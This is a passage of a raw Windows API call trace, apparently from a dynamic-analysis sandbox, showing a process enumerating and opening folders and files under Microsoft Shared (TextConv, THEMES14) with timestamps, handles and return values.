ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0057.902] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0057.902] GetLastError () returned 0x12 [0057.902] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0057.902] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0057.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0057.903] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0057.903] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0057.903] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0057.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0057.904] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0057.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa5c38 [0057.904] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa5c38, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfa5c38, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0057.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa5c38) returned 1 [0057.904] NtClose (Handle=0x190) returned 0x0 [0057.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0057.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0057.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0057.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.904] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0057.904] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.904] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0057.904] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0057.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.904] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.904] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.905] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0057.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.905] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.905] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0057.926] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0057.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2ea8 [0057.926] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa3d58 [0057.926] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.926] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2ec8 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa3e60 [0057.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.927] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2ee8 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa3f68 [0057.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.927] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa2f08 [0057.927] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4070 [0057.927] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.927] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0057.927] GetLastError () returned 0x12 [0057.927] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0057.928] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0057.928] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.928] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0057.928] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.928] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0057.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0057.929] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0057.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa5c38 [0057.929] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa5c38, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa5c38, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0057.929] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa5c38) returned 1 [0057.929] NtClose (Handle=0x190) returned 0x0 [0057.929] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0057.929] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0057.929] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0057.929] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.929] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0057.929] GetLastError () returned 0x12 [0057.929] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0057.929] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0057.929] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.929] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0057.930] GetLastError () returned 0x12 [0057.930] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0057.930] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0057.930] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0057.930] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0057.930] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0057.930] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0057.930] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0057.930] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0057.930] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0057.930] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0057.930] GetLastError () returned 0x12 [0057.930] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0057.930] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0057.930] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0057.930] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0057.930] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0057.930] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0057.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0057.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0057.939] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0057.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa5c38 [0057.939] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa5c38, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfa5c38, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0057.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa5c38) returned 1 [0057.939] NtClose (Handle=0x184) returned 0x0 [0057.939] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0057.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0057.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0057.939] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0057.939] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0057.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, 